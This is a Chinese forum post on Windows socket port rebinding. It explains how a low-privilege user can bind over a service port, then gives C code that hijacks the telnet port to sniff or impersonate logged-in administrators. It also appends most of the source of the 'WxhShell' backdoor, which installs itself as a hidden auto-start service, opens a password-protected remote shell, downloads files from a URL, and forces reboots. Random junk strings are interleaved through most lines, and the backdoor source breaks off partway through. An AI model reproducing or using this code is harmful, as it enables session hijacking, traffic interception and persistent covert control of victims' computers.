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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7bOL,S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (%]&Pe]  
"MZj}}l  
  saddr.sin_family = AF_INET; i~:FlW]  
.n1]Yk;,1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !~PLW]Z4  
v`#T)5gl-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z 3)pvX5  
(NrH)+)J!a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IBm&a^  
:c%vl$  
  这意味着什么?意味着可以进行如下的攻击: gK7j~.bb"  
C*Avu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~jMdM~}  
`r;e\Cp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U WYLT-^x  
u|h>z|4lJj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N 4Yvt&  
];bB7+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Rr+Y::E  
KY$6=/?U_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mwLp~z%OX  
99 /fI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?r C^@)  
jz(}P8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j.OPDe{LU  
Cc^`M9dP  
  #include "Wd?U[[  
  #include C'3/B)u}l  
  #include tAH,3Sz( /  
  #include    j&)"a,f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6KP"F[8I  
  int main() 6-C9[[g<  
  { 0]3%BgZ(a8  
  WORD wVersionRequested; n| =k9z<y8  
  DWORD ret; OV ~|@{6T  
  WSADATA wsaData; i~ D,  
  BOOL val; GW a_^  
  SOCKADDR_IN saddr; "QA <5P  
  SOCKADDR_IN scaddr; u (V4KUk  
  int err; sxcpWSGA^  
  SOCKET s; oZ;u>MeZ  
  SOCKET sc; }l{r9ti  
  int caddsize; Z7?C^m  
  HANDLE mt; 7Wub@Mp  
  DWORD tid;   6( TG/J  
  wVersionRequested = MAKEWORD( 2, 2 ); 7KU/ 1l9$9  
  err = WSAStartup( wVersionRequested, &wsaData ); b489sa  
  if ( err != 0 ) { 3Tv;<hF  
  printf("error!WSAStartup failed!\n"); X?5M)MP+I  
  return -1; 1MV\Jm  
  } A|p O  
  saddr.sin_family = AF_INET; 1L.H"  
   _ h\wH;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %9hzz5#  
J2VhheL`J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {'P7D4w  
  saddr.sin_port = htons(23); H: q(T >/w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dE9xan  
  { OpeK-K  
  printf("error!socket failed!\n"); _ Js & _d  
  return -1; c%Ht; sK`*  
  } JI-q4L|  
  val = TRUE; :{NvBxc[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z"rrbN1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G\3@QgyQ  
  { Xi3:Ok6FZ  
  printf("error!setsockopt failed!\n"); A\J|eSG'$  
  return -1; !DFT}eu  
  } KsI[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S;[g0j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KMZ:$H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A9^t$Ii  
8*y hx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _:F0>=$  
  { ]F kLtq  
  ret=GetLastError(); 3]Rb2$p[=  
  printf("error!bind failed!\n");  J5 PXmL  
  return -1;  boAu  
  } `PK1zSr  
  listen(s,2); a!YpSFr  
  while(1)  mD`v>L  
  { "C 7-^R#  
  caddsize = sizeof(scaddr); m }I@:s2  
  //接受连接请求 H SEfpbh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a& b75.-  
  if(sc!=INVALID_SOCKET) z$OKn#%T  
  { hhQLld4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6FuZMasr*  
  if(mt==NULL) lN"%~n?  
  { t~m >\(&  
  printf("Thread Creat Failed!\n"); V"=(I'X  
  break; pX3Q@3,$  
  } 8/cD7O  
  } Y(QLlJ*)/  
  CloseHandle(mt); NU>={9!  
  } u'}SaX]0  
  closesocket(s); _ S%3?Q  
  WSACleanup(); FWpcWmS`s  
  return 0; p%A s6.  
  }   |f+|OZY  
  DWORD WINAPI ClientThread(LPVOID lpParam) H(bR@Qok  
  { ab4(?-'-  
  SOCKET ss = (SOCKET)lpParam; L h"K"Uv  
  SOCKET sc; D9 `J||]E  
  unsigned char buf[4096]; j?sq i9#  
  SOCKADDR_IN saddr; )`5k fj  
  long num; r(9#kLXg  
  DWORD val; 92g#QZs&W  
  DWORD ret; nRq @hk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /y/O&`X(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .|x\6 jf  
  saddr.sin_family = AF_INET; mD @#,B7A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F&? &8.  
  saddr.sin_port = htons(23); =8BMCedH|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^gx`@^su  
  { /7Z5_q_  
  printf("error!socket failed!\n"); .*+?]  
  return -1; 9Qja|;  
  } f S-(Kmh  
  val = 100; >D20f<w(H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $|~YXH~O  
  { T;/Y/Fd  
  ret = GetLastError(); ?`R;ZT)U-  
  return -1; ZZ/F}9!=  
  } <n+?7`d,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )Zx;Z[  
  { #P[d?pY  
  ret = GetLastError(); O_@  
  return -1; rXR=fj= 2  
  } WN8XiV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,m<t/@^]  
  { R:49Gn:F  
  printf("error!socket connect failed!\n"); HmxA2 ~C  
  closesocket(sc); VB x,q3.  
  closesocket(ss); ]7SX _:'*  
  return -1; HPM ggRs  
  } y" 4Nw]kU  
  while(1) ;Y<Hi\2oy  
  { 8BP.VxX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ak(_![Q:q\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .{,PC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yTj!(C  
  num = recv(ss,buf,4096,0); .Y!] {c  
  if(num>0) @ 63Uk2{W>  
  send(sc,buf,num,0); OhUEp g[  
  else if(num==0) rGjP|v@3^  
  break; iDp'M`(6h  
  num = recv(sc,buf,4096,0); uLok0"}  
  if(num>0) xb`,9.a7  
  send(ss,buf,num,0); ktQMkEj#  
  else if(num==0) c s0;:H*N*  
  break; 09FHE/L  
  } Ww8<f$  
  closesocket(ss); 05_aL` &eb  
  closesocket(sc); C(o]3):?  
  return 0 ; Z x&gr|)}  
  } Af'L=0  
p9c`rl_N  
ID+ o6/V8  
========================================================== F$[1KjS  
2flgfB}2k  
下边附上一个代码,,WXhSHELL pO^goo V\  
b|7c]l  
========================================================== %"#%/>U4  
5\hJ&  
#include "stdafx.h" 6:Eu[PE~w  
Aj| Gqw>  
#include <stdio.h> _ U/[n\oC  
#include <string.h> R+}x#  
#include <windows.h> tu.Tvtudzj  
#include <winsock2.h> & w%%{lM  
#include <winsvc.h> @KtQ~D  
#include <urlmon.h> #Av6BGM|,  
Co`O{|NS}!  
#pragma comment (lib, "Ws2_32.lib") Ln~Z_!  
#pragma comment (lib, "urlmon.lib") IB~`Ht8 b  
uL`6}0  
#define MAX_USER   100 // 最大客户端连接数 Cso!VdCX  
#define BUF_SOCK   200 // sock buffer <A%}  
#define KEY_BUFF   255 // 输入 buffer (;1rM}B;1  
Mlr]-Gu5Z  
#define REBOOT     0   // 重启 !VNLjbee.  
#define SHUTDOWN   1   // 关机 6]`XW 0{C  
kGaK(^w  
#define DEF_PORT   5000 // 监听端口 V4c$V]7  
>GRL5Iow  
#define REG_LEN     16   // 注册表键长度 O0|**Km\+  
#define SVC_LEN     80   // NT服务名长度 '3B\I#  
v.eNWp  
// 从dll定义API )C \ %R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %Pl 7FHfB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l5?fF6#j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L`$m<9w'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J$Huzs#  
r3~~4Q4XI>  
// wxhshell配置信息 hN(sz  
struct WSCFG {  p1zT]  
  int ws_port;         // 监听端口 [=Qv?am  
  char ws_passstr[REG_LEN]; // 口令 }o>6 y>=  
  int ws_autoins;       // 安装标记, 1=yes 0=no F_KPhe$  
  char ws_regname[REG_LEN]; // 注册表键名 kzZdYiC  
  char ws_svcname[REG_LEN]; // 服务名 3Zy$NsY3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m53XN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .uu[f2.N+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +f#o ij  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,mpvGvAI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >MXE)=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <p_r{  
Q i&!Ub]  
}; j/I^\Ms  
*hJ&7w ~  
// default Wxhshell configuration # X~{p4Lr  
struct WSCFG wscfg={DEF_PORT, Fbvw zZ  
    "xuhuanlingzhe", S1_X@[t  
    1, v=-8} S  
    "Wxhshell", Vfm (K  
    "Wxhshell", &`` dI,NC  
            "WxhShell Service", #Y)Gos  
    "Wrsky Windows CmdShell Service", 4';~@IBf  
    "Please Input Your Password: ", v };r  
  1, iw`,\V&  
  "http://www.wrsky.com/wxhshell.exe", ('SA9JG  
  "Wxhshell.exe" H l'za  
    }; <IiX_*  
i5oV,fiZo  
// 消息定义模块 :?!kZD!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u!NY@$Wc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ([Gb]0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j%|#8oV  
char *msg_ws_ext="\n\rExit."; B@R3j  
char *msg_ws_end="\n\rQuit."; 1e Wl:S}  
char *msg_ws_boot="\n\rReboot..."; `RRC8]l  
char *msg_ws_poff="\n\rShutdown..."; #LP38 wE  
char *msg_ws_down="\n\rSave to "; %Se@8d8  
AOh\%|}  
char *msg_ws_err="\n\rErr!"; v0~'`*|&  
char *msg_ws_ok="\n\rOK!"; :n1^Xw0q  
=(!&8U9  
char ExeFile[MAX_PATH]; P[;<,U;'HO  
int nUser = 0; Q> Lh.U,{  
HANDLE handles[MAX_USER]; F*&A=@/3  
int OsIsNt; UIhU[f]  
]h]|PdN  
SERVICE_STATUS       serviceStatus; /h)_Q;35S;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <"Ox)XG3]W  
-\Y"MwIED  
// 函数声明 Idq &0<I  
int Install(void); &&(^;+  
int Uninstall(void); v]"W.<B,  
int DownloadFile(char *sURL, SOCKET wsh); 2WKYf0t  
int Boot(int flag); 0+a-l[!p  
void HideProc(void); #>I*c _-  
int GetOsVer(void); Zd2B4~V  
int Wxhshell(SOCKET wsl); Mqy5>f)  
void TalkWithClient(void *cs); OxGS{zs  
int CmdShell(SOCKET sock); _$wXHONt  
int StartFromService(void); 'X()|{  
int StartWxhshell(LPSTR lpCmdLine); f-w-K)y$ht  
IK:F~I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b^SQCX+P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s-\.j-Sa  
E?L^ L3s  
// 数据结构和表定义 ZGstD2 N$  
SERVICE_TABLE_ENTRY DispatchTable[] = .@#GNZe  
{ ]n8 5.DF  
{wscfg.ws_svcname, NTServiceMain}, r8o9C  
{NULL, NULL} -vRZCIj!  
}; x.=Np\#\G-  
`s0`kp  
// 自我安装 jFa{h!  
int Install(void) +<\)b(  
{ `v]|x,l+C  
  char svExeFile[MAX_PATH]; }8H_^G8  
  HKEY key; pzkl;"gK  
  strcpy(svExeFile,ExeFile); >";I3S-t  
|4=Du-e  
// 如果是win9x系统,修改注册表设为自启动 h92'~X36  
if(!OsIsNt) { XI4le=^EM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hKZ<PwBi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NJ^H"FLS:  
  RegCloseKey(key); h($XR+!#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +pGkeZX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j. @CB`  
  RegCloseKey(key); f!3$xu5  
  return 0; C-vFl[@a0  
    } ("G _{tVU  
  } x WZ87  
} tWBfIHiha  
else { ,Z2fVz~9  
k&|#(1CFY  
// 如果是NT以上系统,安装为系统服务 Gr1WBYK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /-in:gX8  
if (schSCManager!=0) ?9Lp@k~TO  
{ P^wDt14>  
  SC_HANDLE schService = CreateService ({"jL*S,q  
  ( kOu C@~,  
  schSCManager, \`FpBE_e)  
  wscfg.ws_svcname, ,YEwz3$5u  
  wscfg.ws_svcdisp, x#_\b-  
  SERVICE_ALL_ACCESS, s)gUvS\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \Zpg,KOT  
  SERVICE_AUTO_START, @-L4<=$J  
  SERVICE_ERROR_NORMAL, 7GY3 _`  
  svExeFile, Ne 2tfiI`  
  NULL, *B$$6'hi`  
  NULL, hI+mx  
  NULL, !Vtj:2PQL  
  NULL, }^ g6Y3\  
  NULL ws^ 7J/8  
  ); !>n^ ;u  
  if (schService!=0) il=:T\'U9  
  { uBr^TM$k&  
  CloseServiceHandle(schService); XL10W ^  
  CloseServiceHandle(schSCManager); PVNDvUce  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DlD;rL=  
  strcat(svExeFile,wscfg.ws_svcname); m2i'$^a#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1FkS$ j8:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e-4 Qw #cw  
  RegCloseKey(key); &bIE"ZBjt  
  return 0; LqDj4[}  
    } W7\s=t\  
  } 2YS1%<-g*  
  CloseServiceHandle(schSCManager); T>$S&U  
} ,aA%,C.0U  
} &jbZL5  
Ct8}jg"  
return 1; <-Hw@g  
} PP]Z~ne0X  
h$[tEmD%  
// 自我卸载 JemB[  
int Uninstall(void) dKG2f  
{ lRy^Wp  
  HKEY key;  qHU=X"rn  
{.,-lFb\  
if(!OsIsNt) { 2@W'q=+0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Z taj^v  
  RegDeleteValue(key,wscfg.ws_regname); )2&U Rt.  
  RegCloseKey(key); +\Zr\fOe|%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j\/Rjn+:[  
  RegDeleteValue(key,wscfg.ws_regname); "DpgX8lG_  
  RegCloseKey(key); .%\lYk]  
  return 0; i_[nW  
  } "\CUHr9k  
} [v,Y-}wQ)  
} xE0'eC5n^  
else { l-~ o&n  
)0tq&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lDK<gd  
if (schSCManager!=0) t XbMP  
{ 1kX>sajp~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4^OPzg6Z%p  
  if (schService!=0) 8|U-{"!O ?  
  { !_a@autj  
  if(DeleteService(schService)!=0) { hFLLg|@  
  CloseServiceHandle(schService); aR c2#:~;  
  CloseServiceHandle(schSCManager); @hz~9AII9  
  return 0; ,`su0P\%#.  
  } Klv~#9Si  
  CloseServiceHandle(schService); JX $vz*KF  
  } }O7!>T  
  CloseServiceHandle(schSCManager); pS) &d4i  
} ]b&"](A  
} #rps2nf.j  
v}>5!*  
return 1; I<&(Dg|XQ  
} JKJ+RkXf3  
]"T1clZKd(  
// 从指定url下载文件 It@1!_tO2  
int DownloadFile(char *sURL, SOCKET wsh) MlVVST  
{ J+]W*?m  
  HRESULT hr; GcHy`bQbiX  
char seps[]= "/"; ?h1r6?Sug{  
char *token; sX,."@[  
char *file; @D3|Ak1  
char myURL[MAX_PATH]; kJfMTfl,  
char myFILE[MAX_PATH]; Jh6 z5xUV  
1>"Yw|F-|3  
strcpy(myURL,sURL); aj\ zc I  
  token=strtok(myURL,seps); Wh7}G   
  while(token!=NULL) Y}aaW[  
  { B=,j$uH  
    file=token; {*lRI  
  token=strtok(NULL,seps); '|jN!y^ 2p  
  } v;_k*y[VV$  
>'MT]@vez  
GetCurrentDirectory(MAX_PATH,myFILE); 0CtPq`!  
strcat(myFILE, "\\"); \-2O&v'}  
strcat(myFILE, file); k O8W>  
  send(wsh,myFILE,strlen(myFILE),0); \c .^^8r  
send(wsh,"...",3,0); 'v42QJ"{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tl@n}   
  if(hr==S_OK) =eB^( !M  
return 0; \0'0)@uziQ  
else |GqKa  
return 1; 0DR:qw  
xBevf&tP  
} /z(;1$Ld6{  
V39`J*fI  
// 系统电源模块 D( YNa  
int Boot(int flag) :OFL@byS  
{ 4^>FN"Ve`B  
  HANDLE hToken; 7c7:B2Lq  
  TOKEN_PRIVILEGES tkp; !#' y#  
IFd2r;W8  
  if(OsIsNt) { F2bAo6~R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '{ I YANVT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5m(V(@a3  
    tkp.PrivilegeCount = 1;  fcLVE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TQjM3Ri=V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fd CN?p[_  
if(flag==REBOOT) { Ac,Qj`'V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uLK4tQ  
  return 0; LNU#NJ^Axt  
} u&7c2|Q  
else { ML= :&M!ao  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OqW (C  
  return 0; d7)EzW|I;  
} PRpW*#"EI  
  } "^3pP(8;~  
  else { P m}  
if(flag==REBOOT) { A"PmoV?lAm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _=s{,t &u  
  return 0; ^|+;~3<J  
} 12bt\ h9  
else { 6%8,OOS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `& rt>Bk /  
  return 0; J-3%.fX,  
} g5,Bj  
} DFUW^0N  
qyl9#C(a  
return 1; /"LcW"2;N  
} a{deN9Qn  
FJYc*l  
// win9x进程隐藏模块 UrhSX!g/A>  
void HideProc(void) ~Y3"vdd  
{ MPxe|Wws  
.V.x0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nxZ[E.-\  
  if ( hKernel != NULL ) 2TxHY|4  
  { dEuts*@ Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WXgGB[x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bf2B  
    FreeLibrary(hKernel); O*%@(w6  
  } \as^z!<  
'GJ'Vli  
return; p~!UE/V  
} fSL'+l3  
FLE2]cL-  
// 获取操作系统版本 8F#z)>q~  
int GetOsVer(void) ?~_[/  
{ ,%uK^U.zk  
  OSVERSIONINFO winfo; @$bEY#*C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [ {|868  
  GetVersionEx(&winfo); 74u_YA<"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  t R(Nko  
  return 1; sBuOKT/j  
  else &qO#EEqG]  
  return 0; *53@%9 {u  
} /ivA[LSS  
"N\tR[P!  
// 客户端句柄模块 o(5eb;"yi>  
int Wxhshell(SOCKET wsl) %l.5c Sn@  
{ BWHH:cX  
  SOCKET wsh; " F3M  m  
  struct sockaddr_in client; 1[&V6=n  
  DWORD myID; }kK6"]Tj  
 `[=3_  
  while(nUser<MAX_USER) ]3/_?n-"`  
{ zP(UaSXz/  
  int nSize=sizeof(client); d2!A32m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v.~uJ.T  
  if(wsh==INVALID_SOCKET) return 1; =bwuLno>  
n(}zq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $ZEwz;HNo  
if(handles[nUser]==0) :w+2L4lGs  
  closesocket(wsh); l)^sE)  
else Ld?-Ik~fF>  
  nUser++;  \W',g[Y:  
  } `1T?\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QwaAGUA  
;vDjd2@  
  return 0; Oz: J8l%  
} #,4CeD|(D,  
zK P{A Sk  
// 关闭 socket GOII B  
void CloseIt(SOCKET wsh) [|)Eyd[G  
{ M ~uX!bDH  
closesocket(wsh); ?;dfA/  
nUser--; jwe^(U  
ExitThread(0); tU :,s^E"#  
} 8>KBh)q  
bx5f\)  
// 客户端请求句柄 3r[}'ba\  
void TalkWithClient(void *cs) NPFrn[M$  
{ R;{y]1u  
5jb/[i^V  
  SOCKET wsh=(SOCKET)cs; U~)i&":sN  
  char pwd[SVC_LEN]; \~O}V~wE  
  char cmd[KEY_BUFF]; XC D&Im  
char chr[1]; -hpJL\ng  
int i,j; Q#2gjR r  
wACx}'+M  
  while (nUser < MAX_USER) { av.L%l&d  
c@]_V  
if(wscfg.ws_passstr) { sr*3uI-)L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m/`"~@}&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]sbj8  
  //ZeroMemory(pwd,KEY_BUFF); rz  
      i=0; 1$]hyC/f  
  while(i<SVC_LEN) { Cqy)+x_OQ,  
N!u(G  
  // 设置超时 iLyJ7zby  
  fd_set FdRead; wy1xZQ<5  
  struct timeval TimeOut; X4D>  
  FD_ZERO(&FdRead);  wP <)  
  FD_SET(wsh,&FdRead); ]0+5@c  
  TimeOut.tv_sec=8; EC]b]'._  
  TimeOut.tv_usec=0; #:5vN-9?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0)?.rthk4S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kp4(_T7R  
YjT7_|`(]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j?YZOO>X  
  pwd=chr[0]; z TM1 e  
  if(chr[0]==0xd || chr[0]==0xa) { b/I_iJ8t  
  pwd=0; PZDj)x_%B&  
  break; S5W*,?  
  } /;[Zw8K7  
  i++; 7E-1 #4  
    } b&i0)/;  
OjUZ-_J  
  // 如果是非法用户,关闭 socket ')8c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i r-= @@  
} |K H&,  
is2OJ,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $jL{l8x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yd-r7iq  
G/w&yd4  
while(1) { O7MFKAaD  
M u>G gQSZ  
  ZeroMemory(cmd,KEY_BUFF); y7s:Buyc  
xux j  
      // 自动支持客户端 telnet标准    bK7j"  
  j=0; ZP]l%6\.  
  while(j<KEY_BUFF) { <ah!!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BaLvlB  
  cmd[j]=chr[0]; %B ,>6 `[  
  if(chr[0]==0xa || chr[0]==0xd) { h^tU*"   
  cmd[j]=0; \UD:9g"  
  break; Yb~[XS |p  
  } /hojm6MM  
  j++; >sUavvJ~x  
    } " wB~*,Ny  
|fJpX5W-l  
  // 下载文件 w=]bj0<A=  
  if(strstr(cmd,"http://")) { D]{#!w(d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?dJ[? <aG  
  if(DownloadFile(cmd,wsh)) 6zJ<27  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rhLm2q  
  else uh][qMyLM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ RS?y8  
  } LFi8@  
  else { ZW6ZO[`6  
M_5$y )M  
    switch(cmd[0]) { #`1@4,iC  
  s bxOnw P\  
  // 帮助 W!R}eLf@  
  case '?': { VSW:h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U X?EOrfJ  
    break; Jj_ t0"  
  } O,&nCxB]  
  // 安装 kb27$4mm  
  case 'i': { $rb #k{  
    if(Install()) xXCSaBS~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :r{;'[38  
    else ?l6NQ;z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^9{mjy0Q  
    break; "M)kV5v%  
    } y@5{.jsr_  
  // 卸载 .d^XM  
  case 'r': { 6@"lIKeP  
    if(Uninstall()) GE2^v_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]dx6E6A,  
    else yJ\K\\]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *?'^R c  
    break; yX%Xjo__*t  
    } !`3q9RT3."  
  // 显示 wxhshell 所在路径 l"I G;qO.  
  case 'p': { yXuF<+CJ  
    char svExeFile[MAX_PATH]; 1Q&\y)@bT  
    strcpy(svExeFile,"\n\r"); ?k5m1,fHW  
      strcat(svExeFile,ExeFile); D8`dEB2|S  
        send(wsh,svExeFile,strlen(svExeFile),0); r+4<Lon~  
    break; 3kTOWIX  
    } HF2w?:  
  // 重启 m0: IFE($  
  case 'b': { QoGvjf3z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oi@hZniP?  
    if(Boot(REBOOT)) !9B`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O}Ipg[h  
    else { xnBU)#<]S  
    closesocket(wsh); dB{VY+!  
    ExitThread(0); 7S +YQ$_  
    } S? -6hGA j  
    break; )L)jvCw,e  
    } TqvgCk-  
  // 关机 [>rX/a%c  
  case 'd': { x&ngCB@O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j9V*f HK  
